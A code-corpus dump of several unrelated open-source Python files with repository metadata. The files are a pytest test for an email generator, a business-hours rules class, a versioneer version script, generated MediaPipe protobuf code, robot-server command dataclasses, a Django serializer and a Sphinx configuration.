null
null
null
tests/h/emails/test_test.py
Manuelinux/kubeh
a549f0d1c09619843290f9b78bce7668ed90853a
[ "BSD-2-Clause" ]
4
2020-03-24T17:38:24.000Z
2022-03-02T05:45:01.000Z
tests/h/emails/test_test.py
Manuelinux/kubeh
a549f0d1c09619843290f9b78bce7668ed90853a
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- from __future__ import unicode_literals import pytest from h._compat import string_types from h.emails.test import generate from h import __version__ class TestGenerate: def test_calls_renderers_with_appropriate_context( self, pyramid_request, html_renderer, text_renderer, matchers ): generate(pyramid_request, "meerkat@example.com") expected_context = { "time": matchers.InstanceOf(string_types), "hostname": matchers.InstanceOf(string_types), "python_version": matchers.InstanceOf(string_types), "version": __version__, } html_renderer.assert_(**expected_context) text_renderer.assert_(**expected_context) def test_appropriate_return_values( self, pyramid_request, html_renderer, text_renderer ): html_renderer.string_response = "HTML output" text_renderer.string_response = "Text output" recipients, subject, text, html = generate( pyramid_request, "meerkat@example.com" ) assert recipients == ["meerkat@example.com"] assert subject == "Test mail" assert html == "HTML output" assert text == "Text output" def test_jinja_templates_render(self, pyramid_config, pyramid_request): """Ensure that the jinja templates don't contain syntax errors""" pyramid_config.include("pyramid_jinja2") generate(pyramid_request, "meerkat@example.com") @pytest.fixture def html_renderer(self, pyramid_config): return pyramid_config.testing_add_renderer( "h:templates/emails/test.html.jinja2" ) @pytest.fixture def text_renderer(self, pyramid_config): return pyramid_config.testing_add_renderer("h:templates/emails/test.txt.jinja2")
31.050847
88
0.683952
795938b5bb3542e728eb283e5ebe2848c199ed1b
2,940
py
Python
businesstimedelta/rules/rules.py
moseswynn/businesstimedelta
5b91f9342428281f7c8887f5f50827e3c2b39783
[ "MIT" ]
23
2016-01-26T00:49:46.000Z
2022-01-16T13:00:25.000Z
businesstimedelta/rules/rules.py
moseswynn/businesstimedelta
5b91f9342428281f7c8887f5f50827e3c2b39783
[ "MIT" ]
10
2016-02-16T00:28:04.000Z
2022-02-02T21:18:31.000Z
businesstimedelta/rules/rules.py
moseswynn/businesstimedelta
5b91f9342428281f7c8887f5f50827e3c2b39783
[ "MIT" ]
7
2016-02-09T10:32:21.000Z
2022-01-25T13:34:43.000Z
from .rule import Rule from ..businesstimedelta import localize_unlocalized_dt class Rules(Rule): """Combine a list of rules together to form one rule. Args: rules: a list of rule objects. """ def __init__(self, rules, *args, **kwargs): self.available_rules = [x for x in rules if not x.time_off] self.unavailable_rules = [x for x in rules if x.time_off] super(Rules, self).__init__(*args, **kwargs) def next(self, dt): dt = localize_unlocalized_dt(dt) min_start = None min_end = None while True: # Find the first upcoming available time for rule in self.available_rules: start, end = rule.next(dt) if not min_start or start < min_start: min_start = start min_end = end # Check whether that time is not unavailable due to an # unavailability rule. If so, restart this process beginning # at the end of this unavailability period. for rule in self.unavailable_rules: start, end = rule.next(min_start) if start == min_start: dt = end min_start = None break # We found the first time that is available. # Now see when it becomes unavailable. if min_start: for rule in self.unavailable_rules: start, end = rule.next(min_start) if end < min_end: min_end = start if min_end != min_start: return (min_start, min_end) def previous(self, dt): dt = localize_unlocalized_dt(dt) min_start = None min_end = None while True: # Find the first available time in the past for rule in self.available_rules: start, end = rule.previous(dt) if not min_end or end > min_end: min_start = start min_end = end # Check whether that time is not unavailable due to an # unavailability rule. If so, restart this process beginning # at the start of this unavailability period. for rule in self.unavailable_rules: start, end = rule.previous(min_end) if end == min_end: dt = start min_end = None break # We found the first time that is available. # Now see when it becomes unavailable. if min_end: for rule in self.unavailable_rules: start, end = rule.previous(min_end) if end > min_start: min_start = end if min_end != min_start: return (min_start, min_end)
33.793103
72
0.52551
795938d36a6f772b373ddc3a4a01f325d8b32825
18,469
py
Python
artellapipe/tools/welcome/_version.py
ArtellaPipe/artellapipe-tools-welcome
0734d1675b1876ec8f3198fec4d99cbe5fee1b5b
[ "MIT" ]
null
null
null
artellapipe/tools/welcome/_version.py
ArtellaPipe/artellapipe-tools-welcome
0734d1675b1876ec8f3198fec4d99cbe5fee1b5b
[ "MIT" ]
null
null
null
artellapipe/tools/welcome/_version.py
ArtellaPipe/artellapipe-tools-welcome
0734d1675b1876ec8f3198fec4d99cbe5fee1b5b
[ "MIT" ]
null
null
null
# This file helps to compute a version number in source trees obtained from # git-archive tarball (such as those provided by githubs download-from-tag # feature). Distribution tarballs (built by setup.py sdist) and build # directories (produced by setup.py build) will contain a much shorter file # that just contains the computed version number. # This file is released into the public domain. Generated by # versioneer-0.18 (https://github.com/warner/python-versioneer) """Git implementation of _version.py.""" import errno import os import re import subprocess import sys def get_keywords(): """Get the keywords needed to look up the version information.""" # these strings will be replaced by git during git-archive. # setup.py/versioneer.py will grep for the variable names, so they must # each be defined on a line of their own. _version.py will just call # get_keywords(). git_refnames = "$Format:%d$" git_full = "$Format:%H$" git_date = "$Format:%ci$" keywords = {"refnames": git_refnames, "full": git_full, "date": git_date} return keywords class VersioneerConfig: """Container for Versioneer configuration parameters.""" def get_config(): """Create, populate and return the VersioneerConfig() object.""" # these strings are filled in when 'setup.py versioneer' creates # _version.py cfg = VersioneerConfig() cfg.VCS = "git" cfg.style = "pep440" cfg.tag_prefix = "" cfg.parentdir_prefix = "" cfg.versionfile_source = "artellapipe/tools/artellamanager/_version.py" cfg.verbose = False return cfg class NotThisMethod(Exception): """Exception raised if a method is not valid for the current scenario.""" LONG_VERSION_PY = {} HANDLERS = {} def register_vcs_handler(vcs, method): # decorator """Decorator to mark a method as the handler for a particular VCS.""" def decorate(f): """Store f in HANDLERS[vcs][method].""" if vcs not in HANDLERS: HANDLERS[vcs] = {} HANDLERS[vcs][method] = f return f return decorate def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False, env=None): """Call the given command(s).""" assert isinstance(commands, list) p = None for c in commands: try: dispcmd = str([c] + args) # remember shell=False, so use git.cmd on windows, not just git p = subprocess.Popen([c] + args, cwd=cwd, env=env, stdout=subprocess.PIPE, stderr=(subprocess.PIPE if hide_stderr else None)) break except EnvironmentError: e = sys.exc_info()[1] if e.errno == errno.ENOENT: continue if verbose: print("unable to run %s" % dispcmd) print(e) return None, None else: if verbose: print("unable to find command, tried %s" % (commands,)) return None, None stdout = p.communicate()[0].strip() if sys.version_info[0] >= 3: stdout = stdout.decode() if p.returncode != 0: if verbose: print("unable to run %s (error)" % dispcmd) print("stdout was %s" % stdout) return None, p.returncode return stdout, p.returncode def versions_from_parentdir(parentdir_prefix, root, verbose): """Try to determine the version from the parent directory name. Source tarballs conventionally unpack into a directory that includes both the project name and a version string. We will also support searching up two directory levels for an appropriately named parent directory """ rootdirs = [] for i in range(3): dirname = os.path.basename(root) if dirname.startswith(parentdir_prefix): return {"version": dirname[len(parentdir_prefix):], "full-revisionid": None, "dirty": False, "error": None, "date": None} else: rootdirs.append(root) root = os.path.dirname(root) # up a level if verbose: print("Tried directories %s but none started with prefix %s" % (str(rootdirs), parentdir_prefix)) raise NotThisMethod("rootdir doesn't start with parentdir_prefix") @register_vcs_handler("git", "get_keywords") def git_get_keywords(versionfile_abs): """Extract version information from the given file.""" # the code embedded in _version.py can just fetch the value of these # keywords. When used from setup.py, we don't want to import _version.py, # so we do it with a regexp instead. This function is not used from # _version.py. keywords = {} try: f = open(versionfile_abs, "r") for line in f.readlines(): if line.strip().startswith("git_refnames ="): mo = re.search(r'=\s*"(.*)"', line) if mo: keywords["refnames"] = mo.group(1) if line.strip().startswith("git_full ="): mo = re.search(r'=\s*"(.*)"', line) if mo: keywords["full"] = mo.group(1) if line.strip().startswith("git_date ="): mo = re.search(r'=\s*"(.*)"', line) if mo: keywords["date"] = mo.group(1) f.close() except EnvironmentError: pass return keywords @register_vcs_handler("git", "keywords") def git_versions_from_keywords(keywords, tag_prefix, verbose): """Get version information from git keywords.""" if not keywords: raise NotThisMethod("no keywords at all, weird") date = keywords.get("date") if date is not None: # git-2.2.0 added "%cI", which expands to an ISO-8601 -compliant # datestamp. However we prefer "%ci" (which expands to an "ISO-8601 # -like" string, which we must then edit to make compliant), because # it's been around since git-1.5.3, and it's too difficult to # discover which version we're using, or to work around using an # older one. date = date.strip().replace(" ", "T", 1).replace(" ", "", 1) refnames = keywords["refnames"].strip() if refnames.startswith("$Format"): if verbose: print("keywords are unexpanded, not using") raise NotThisMethod("unexpanded keywords, not a git-archive tarball") refs = set([r.strip() for r in refnames.strip("()").split(",")]) # starting in git-1.8.3, tags are listed as "tag: foo-1.0" instead of # just "foo-1.0". If we see a "tag: " prefix, prefer those. TAG = "tag: " tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)]) if not tags: # Either we're using git < 1.8.3, or there really are no tags. We use # a heuristic: assume all version tags have a digit. The old git %d # expansion behaves like git log --decorate=short and strips out the # refs/heads/ and refs/tags/ prefixes that would let us distinguish # between branches and tags. By ignoring refnames without digits, we # filter out many common branch names like "release" and # "stabilization", as well as "HEAD" and "master". tags = set([r for r in refs if re.search(r'\d', r)]) if verbose: print("discarding '%s', no digits" % ",".join(refs - tags)) if verbose: print("likely tags: %s" % ",".join(sorted(tags))) for ref in sorted(tags): # sorting will prefer e.g. "2.0" over "2.0rc1" if ref.startswith(tag_prefix): r = ref[len(tag_prefix):] if verbose: print("picking %s" % r) return {"version": r, "full-revisionid": keywords["full"].strip(), "dirty": False, "error": None, "date": date} # no suitable tags, so version is "0+unknown", but full hex is still there if verbose: print("no suitable tags, using unknown + full revision id") return {"version": "0+unknown", "full-revisionid": keywords["full"].strip(), "dirty": False, "error": "no suitable tags", "date": None} @register_vcs_handler("git", "pieces_from_vcs") def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command): """Get version from 'git describe' in the root of the source tree. This only gets called if the git-archive 'subst' keywords were *not* expanded, and _version.py hasn't already been rewritten with a short version string, meaning we're inside a checked out source tree. """ GITS = ["git"] if sys.platform == "win32": GITS = ["git.cmd", "git.exe"] out, rc = run_command(GITS, ["rev-parse", "--git-dir"], cwd=root, hide_stderr=True) if rc != 0: if verbose: print("Directory %s not under git control" % root) raise NotThisMethod("'git rev-parse --git-dir' returned error") # if there is a tag matching tag_prefix, this yields TAG-NUM-gHEX[-dirty] # if there isn't one, this yields HEX[-dirty] (no NUM) describe_out, rc = run_command(GITS, ["describe", "--tags", "--dirty", "--always", "--long", "--match", "%s*" % tag_prefix], cwd=root) # --long was added in git-1.5.5 if describe_out is None: raise NotThisMethod("'git describe' failed") describe_out = describe_out.strip() full_out, rc = run_command(GITS, ["rev-parse", "HEAD"], cwd=root) if full_out is None: raise NotThisMethod("'git rev-parse' failed") full_out = full_out.strip() pieces = {} pieces["long"] = full_out pieces["short"] = full_out[:7] # maybe improved later pieces["error"] = None # parse describe_out. It will be like TAG-NUM-gHEX[-dirty] or HEX[-dirty] # TAG might have hyphens. git_describe = describe_out # look for -dirty suffix dirty = git_describe.endswith("-dirty") pieces["dirty"] = dirty if dirty: git_describe = git_describe[:git_describe.rindex("-dirty")] # now we have TAG-NUM-gHEX or HEX if "-" in git_describe: # TAG-NUM-gHEX mo = re.search(r'^(.+)-(\d+)-g([0-9a-f]+)$', git_describe) if not mo: # unparseable. Maybe git-describe is misbehaving? pieces["error"] = ("unable to parse git-describe output: '%s'" % describe_out) return pieces # tag full_tag = mo.group(1) if not full_tag.startswith(tag_prefix): if verbose: fmt = "tag '%s' doesn't start with prefix '%s'" print(fmt % (full_tag, tag_prefix)) pieces["error"] = ("tag '%s' doesn't start with prefix '%s'" % (full_tag, tag_prefix)) return pieces pieces["closest-tag"] = full_tag[len(tag_prefix):] # distance: number of commits since tag pieces["distance"] = int(mo.group(2)) # commit: short hex revision ID pieces["short"] = mo.group(3) else: # HEX: no tags pieces["closest-tag"] = None count_out, rc = run_command(GITS, ["rev-list", "HEAD", "--count"], cwd=root) pieces["distance"] = int(count_out) # total number of commits # commit date: see ISO-8601 comment in git_versions_from_keywords() date = run_command(GITS, ["show", "-s", "--format=%ci", "HEAD"], cwd=root)[0].strip() pieces["date"] = date.strip().replace(" ", "T", 1).replace(" ", "", 1) return pieces def plus_or_dot(pieces): """Return a + if we don't already have one, else return a .""" if "+" in pieces.get("closest-tag", ""): return "." return "+" def render_pep440(pieces): """Build up version string, with post-release "local version identifier". Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty Exceptions: 1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty] """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"] or pieces["dirty"]: rendered += plus_or_dot(pieces) rendered += "%d.g%s" % (pieces["distance"], pieces["short"]) if pieces["dirty"]: rendered += ".dirty" else: # exception #1 rendered = "0+untagged.%d.g%s" % (pieces["distance"], pieces["short"]) if pieces["dirty"]: rendered += ".dirty" return rendered def render_pep440_pre(pieces): """TAG[.post.devDISTANCE] -- No -dirty. Exceptions: 1: no tags. 0.post.devDISTANCE """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"]: rendered += ".post.dev%d" % pieces["distance"] else: # exception #1 rendered = "0.post.dev%d" % pieces["distance"] return rendered def render_pep440_post(pieces): """TAG[.postDISTANCE[.dev0]+gHEX] . The ".dev0" means dirty. Note that .dev0 sorts backwards (a dirty tree will appear "older" than the corresponding clean one), but you shouldn't be releasing software with -dirty anyways. Exceptions: 1: no tags. 0.postDISTANCE[.dev0] """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"] or pieces["dirty"]: rendered += ".post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" rendered += plus_or_dot(pieces) rendered += "g%s" % pieces["short"] else: # exception #1 rendered = "0.post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" rendered += "+g%s" % pieces["short"] return rendered def render_pep440_old(pieces): """TAG[.postDISTANCE[.dev0]] . The ".dev0" means dirty. Eexceptions: 1: no tags. 0.postDISTANCE[.dev0] """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"] or pieces["dirty"]: rendered += ".post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" else: # exception #1 rendered = "0.post%d" % pieces["distance"] if pieces["dirty"]: rendered += ".dev0" return rendered def render_git_describe(pieces): """TAG[-DISTANCE-gHEX][-dirty]. Like 'git describe --tags --dirty --always'. Exceptions: 1: no tags. HEX[-dirty] (note: no 'g' prefix) """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] if pieces["distance"]: rendered += "-%d-g%s" % (pieces["distance"], pieces["short"]) else: # exception #1 rendered = pieces["short"] if pieces["dirty"]: rendered += "-dirty" return rendered def render_git_describe_long(pieces): """TAG-DISTANCE-gHEX[-dirty]. Like 'git describe --tags --dirty --always -long'. The distance/hash is unconditional. Exceptions: 1: no tags. HEX[-dirty] (note: no 'g' prefix) """ if pieces["closest-tag"]: rendered = pieces["closest-tag"] rendered += "-%d-g%s" % (pieces["distance"], pieces["short"]) else: # exception #1 rendered = pieces["short"] if pieces["dirty"]: rendered += "-dirty" return rendered def render(pieces, style): """Render the given version pieces into the requested style.""" if pieces["error"]: return {"version": "unknown", "full-revisionid": pieces.get("long"), "dirty": None, "error": pieces["error"], "date": None} if not style or style == "default": style = "pep440" # the default if style == "pep440": rendered = render_pep440(pieces) elif style == "pep440-pre": rendered = render_pep440_pre(pieces) elif style == "pep440-post": rendered = render_pep440_post(pieces) elif style == "pep440-old": rendered = render_pep440_old(pieces) elif style == "git-describe": rendered = render_git_describe(pieces) elif style == "git-describe-long": rendered = render_git_describe_long(pieces) else: raise ValueError("unknown style '%s'" % style) return {"version": rendered, "full-revisionid": pieces["long"], "dirty": pieces["dirty"], "error": None, "date": pieces.get("date")} def get_versions(): """Get version information or return default if unable to do so.""" # I am in _version.py, which lives at ROOT/VERSIONFILE_SOURCE. If we have # __file__, we can work backwards from there to the root. Some # py2exe/bbfreeze/non-CPython implementations don't do __file__, in which # case we can only use expanded keywords. cfg = get_config() verbose = cfg.verbose try: return git_versions_from_keywords(get_keywords(), cfg.tag_prefix, verbose) except NotThisMethod: pass try: root = os.path.realpath(__file__) # versionfile_source is the relative path from the top of the source # tree (where the .git directory might live) to this file. Invert # this to find the root from __file__. for i in cfg.versionfile_source.split('/'): root = os.path.dirname(root) except NameError: return {"version": "0+unknown", "full-revisionid": None, "dirty": None, "error": "unable to find root of source tree", "date": None} try: pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose) return render(pieces, cfg.style) except NotThisMethod: pass try: if cfg.parentdir_prefix: return versions_from_parentdir(cfg.parentdir_prefix, root, verbose) except NotThisMethod: pass return {"version": "0+unknown", "full-revisionid": None, "dirty": None, "error": "unable to compute version", "date": None}
35.449136
79
0.584872
7959393fd386df8c13da4864577559ca4ddafff0
5,856
py
Python
mediapipe/calculators/tensorflow/vector_float_to_tensor_calculator_options_pb2.py
mengfu188/simple-mediapipe
85dc8a87c9586312c2d057ad587bfccf3b5e2eb6
[ "Apache-2.0" ]
5
2021-01-01T11:02:41.000Z
2022-03-11T19:44:29.000Z
mediapipe/calculators/tensorflow/vector_float_to_tensor_calculator_options_pb2.py
mengfu188/simple-mediapipe
85dc8a87c9586312c2d057ad587bfccf3b5e2eb6
[ "Apache-2.0" ]
null
null
null
mediapipe/calculators/tensorflow/vector_float_to_tensor_calculator_options_pb2.py
mengfu188/simple-mediapipe
85dc8a87c9586312c2d057ad587bfccf3b5e2eb6
[ "Apache-2.0" ]
1
2021-04-12T05:59:46.000Z
2021-04-12T05:59:46.000Z
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: mediapipe/calculators/tensorflow/vector_float_to_tensor_calculator_options.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from mediapipe.framework import calculator_pb2 as mediapipe_dot_framework_dot_calculator__pb2 try: mediapipe_dot_framework_dot_calculator__options__pb2 = mediapipe_dot_framework_dot_calculator__pb2.mediapipe_dot_framework_dot_calculator__options__pb2 except AttributeError: mediapipe_dot_framework_dot_calculator__options__pb2 = mediapipe_dot_framework_dot_calculator__pb2.mediapipe.framework.calculator_options_pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='mediapipe/calculators/tensorflow/vector_float_to_tensor_calculator_options.proto', package='mediapipe', syntax='proto2', serialized_options=None, create_key=_descriptor._internal_create_key, serialized_pb=b'\nPmediapipe/calculators/tensorflow/vector_float_to_tensor_calculator_options.proto\x12\tmediapipe\x1a$mediapipe/framework/calculator.proto\"\xae\x02\n$VectorFloatToTensorCalculatorOptions\x12W\n\ninput_size\x18\x01 \x01(\x0e\x32\x39.mediapipe.VectorFloatToTensorCalculatorOptions.InputSize:\x08INPUT_1D\x12\x18\n\ttranspose\x18\x02 \x01(\x08:\x05\x66\x61lse\"4\n\tInputSize\x12\x0b\n\x07UNKNOWN\x10\x00\x12\x0c\n\x08INPUT_1D\x10\x01\x12\x0c\n\x08INPUT_2D\x10\x02\x32]\n\x03\x65xt\x12\x1c.mediapipe.CalculatorOptions\x18\x91\x98\x85\x41 \x01(\x0b\x32/.mediapipe.VectorFloatToTensorCalculatorOptions' , dependencies=[mediapipe_dot_framework_dot_calculator__pb2.DESCRIPTOR,]) _VECTORFLOATTOTENSORCALCULATOROPTIONS_INPUTSIZE = _descriptor.EnumDescriptor( name='InputSize', full_name='mediapipe.VectorFloatToTensorCalculatorOptions.InputSize', filename=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key, values=[ _descriptor.EnumValueDescriptor( name='UNKNOWN', index=0, number=0, serialized_options=None, type=None, create_key=_descriptor._internal_create_key), _descriptor.EnumValueDescriptor( name='INPUT_1D', index=1, number=1, serialized_options=None, type=None, create_key=_descriptor._internal_create_key), _descriptor.EnumValueDescriptor( name='INPUT_2D', index=2, number=2, serialized_options=None, type=None, create_key=_descriptor._internal_create_key), ], containing_type=None, serialized_options=None, serialized_start=289, serialized_end=341, ) _sym_db.RegisterEnumDescriptor(_VECTORFLOATTOTENSORCALCULATOROPTIONS_INPUTSIZE) _VECTORFLOATTOTENSORCALCULATOROPTIONS = _descriptor.Descriptor( name='VectorFloatToTensorCalculatorOptions', full_name='mediapipe.VectorFloatToTensorCalculatorOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='input_size', full_name='mediapipe.VectorFloatToTensorCalculatorOptions.input_size', index=0, number=1, type=14, cpp_type=8, label=1, has_default_value=True, default_value=1, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='transpose', full_name='mediapipe.VectorFloatToTensorCalculatorOptions.transpose', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=True, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ _descriptor.FieldDescriptor( name='ext', full_name='mediapipe.VectorFloatToTensorCalculatorOptions.ext', index=0, number=136399889, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=True, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], nested_types=[], enum_types=[ _VECTORFLOATTOTENSORCALCULATOROPTIONS_INPUTSIZE, ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=134, serialized_end=436, ) _VECTORFLOATTOTENSORCALCULATOROPTIONS.fields_by_name['input_size'].enum_type = _VECTORFLOATTOTENSORCALCULATOROPTIONS_INPUTSIZE _VECTORFLOATTOTENSORCALCULATOROPTIONS_INPUTSIZE.containing_type = _VECTORFLOATTOTENSORCALCULATOROPTIONS DESCRIPTOR.message_types_by_name['VectorFloatToTensorCalculatorOptions'] = _VECTORFLOATTOTENSORCALCULATOROPTIONS _sym_db.RegisterFileDescriptor(DESCRIPTOR) VectorFloatToTensorCalculatorOptions = _reflection.GeneratedProtocolMessageType('VectorFloatToTensorCalculatorOptions', (_message.Message,), { 'DESCRIPTOR' : _VECTORFLOATTOTENSORCALCULATOROPTIONS, '__module__' : 'mediapipe.calculators.tensorflow.vector_float_to_tensor_calculator_options_pb2' # @@protoc_insertion_point(class_scope:mediapipe.VectorFloatToTensorCalculatorOptions) }) _sym_db.RegisterMessage(VectorFloatToTensorCalculatorOptions) _VECTORFLOATTOTENSORCALCULATOROPTIONS.extensions_by_name['ext'].message_type = _VECTORFLOATTOTENSORCALCULATOROPTIONS mediapipe_dot_framework_dot_calculator__options__pb2.CalculatorOptions.RegisterExtension(_VECTORFLOATTOTENSORCALCULATOROPTIONS.extensions_by_name['ext']) # @@protoc_insertion_point(module_scope)
46.47619
617
0.818648
795939b91d94edc1e1480417252064365abde2da
1,431
py
Python
robot-server/robot_server/service/session/command_execution/command.py
ferlzc/opentrons
29fac8ae6e456439f87fce60e8c935c2a2aaa582
[ "Apache-2.0" ]
null
null
null
robot-server/robot_server/service/session/command_execution/command.py
ferlzc/opentrons
29fac8ae6e456439f87fce60e8c935c2a2aaa582
[ "Apache-2.0" ]
null
null
null
robot-server/robot_server/service/session/command_execution/command.py
ferlzc/opentrons
29fac8ae6e456439f87fce60e8c935c2a2aaa582
[ "Apache-2.0" ]
null
null
null
from datetime import datetime from dataclasses import dataclass, field from typing import Optional from robot_server.service.session.models.command import ( CommandDataType, CommandStatus, CommandResultType) from robot_server.service.session.models.command_definitions import \ CommandDefinitionType from robot_server.service.session.models.common import ( IdentifierType, create_identifier) from opentrons.util.helpers import utc_now @dataclass(frozen=True) class CommandContent: name: CommandDefinitionType data: CommandDataType @dataclass(frozen=True) class CommandMeta: identifier: IdentifierType = field(default_factory=create_identifier) created_at: datetime = field(default_factory=utc_now) @dataclass(frozen=True) class CommandResult: started_at: datetime completed_at: datetime status: CommandStatus = CommandStatus.executed data: Optional[CommandResultType] = None @dataclass(frozen=True) class Command: content: CommandContent meta: CommandMeta = field(default_factory=CommandMeta) @dataclass(frozen=True) class CompletedCommand: content: CommandContent meta: CommandMeta result: CommandResult def create_command(name: CommandDefinitionType, data: CommandDataType) -> Command: """Create a command object""" return Command( content=CommandContent( name=name, data=data ) )
25.553571
73
0.754018
79593a22507a6425e8b78aa96cb07f22d40aeb55
389
py
Python
metrics/serializers.py
tp00012x/bobs_banana_stand
0ae167b1bb124408770924dcb3660760da2d715c
[ "MIT" ]
null
null
null
metrics/serializers.py
tp00012x/bobs_banana_stand
0ae167b1bb124408770924dcb3660760da2d715c
[ "MIT" ]
6
2021-03-18T22:01:48.000Z
2022-02-10T07:19:13.000Z
metrics/serializers.py
tp00012x/bobs_banana_stand
0ae167b1bb124408770924dcb3660760da2d715c
[ "MIT" ]
null
null
null
from rest_framework import serializers from metrics.models import InventoryProduct class InventoryProductSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = InventoryProduct fields = ( 'pk', 'product', 'total_qty_purchased', 'total_qty_sold', 'total_qty_expired', 'total_qty_in_stock', 'profit', 'created_date', )
29.923077
112
0.701799
79593a27d0cfc4d62d084b71a6549cc567a74cee
5,714
py
Python
scripts/tests/sample_module/doc/conf.py
pv/pydocweb
05c7b69c3903e2bb90cca511f18f9c10d7926cc6
[ "BSD-3-Clause" ]
2
2016-07-26T17:13:00.000Z
2017-12-13T12:46:46.000Z
scripts/tests/sample_module/doc/conf.py
pv/pydocweb
05c7b69c3903e2bb90cca511f18f9c10d7926cc6
[ "BSD-3-Clause" ]
null
null
null
scripts/tests/sample_module/doc/conf.py
pv/pydocweb
05c7b69c3903e2bb90cca511f18f9c10d7926cc6
[ "BSD-3-Clause" ]
null
null
null
# -*- coding: utf-8 -*- # # sample_module documentation build configuration file, created by # sphinx-quickstart on Sun Sep 7 16:40:03 2008. # # This file is execfile()d with the current directory set to its containing dir. # # The contents of this file are pickled, so don't put values in the namespace # that aren't pickleable (module imports are okay, they're removed automatically). # # All configuration values have a default value; values that are commented out # serve to show the default value. import sys, os # If your extensions are in another directory, add it here. If the directory # is relative to the documentation root, use os.path.abspath to make it # absolute, like shown here. #sys.path.append(os.path.abspath('some/directory')) # General configuration # --------------------- # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The master toctree document. master_doc = 'index' # General substitutions. project = 'sample_module' copyright = '2008, Pauli Virtanen' # The default replacements for |version| and |release|, also used in various # other places throughout the built documents. # # The short X.Y version. version = '1.0' # The full version, including alpha/beta/rc tags. release = '1.0' # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. today_fmt = '%B %d, %Y' # List of documents that shouldn't be included in the build. #unused_docs = [] # List of directories, relative to source directories, that shouldn't be searched # for source files. #exclude_dirs = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # Options for HTML output # ----------------------- # The style sheet to use for HTML and HTML Help pages. A file of that name # must exist either in Sphinx' static/ path, or in one of the custom paths # given in html_static_path. html_style = 'default.css' # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (within the static path) to place at the top of # the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. #html_use_modindex = True # If false, no index is generated. #html_use_index = True # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, the reST sources are included in the HTML build as _sources/<name>. #html_copy_source = True # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = '' # Output file base name for HTML help builder. htmlhelp_basename = 'sample_moduledoc' # Options for LaTeX output # ------------------------ # The paper size ('letter' or 'a4'). #latex_paper_size = 'letter' # The font size ('10pt', '11pt' or '12pt'). #latex_font_size = '10pt' # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, document class [howto/manual]). latex_documents = [ ('index', 'sample_module.tex', 'sample_module Documentation', 'Pauli Virtanen', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # Additional stuff for the LaTeX preamble. #latex_preamble = '' # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_use_modindex = True
31.744444
82
0.731362
79593ae545f680614c6d4061d912969bc9d385ee
53,769
py
Python
tests/templates/test_subroutines.py
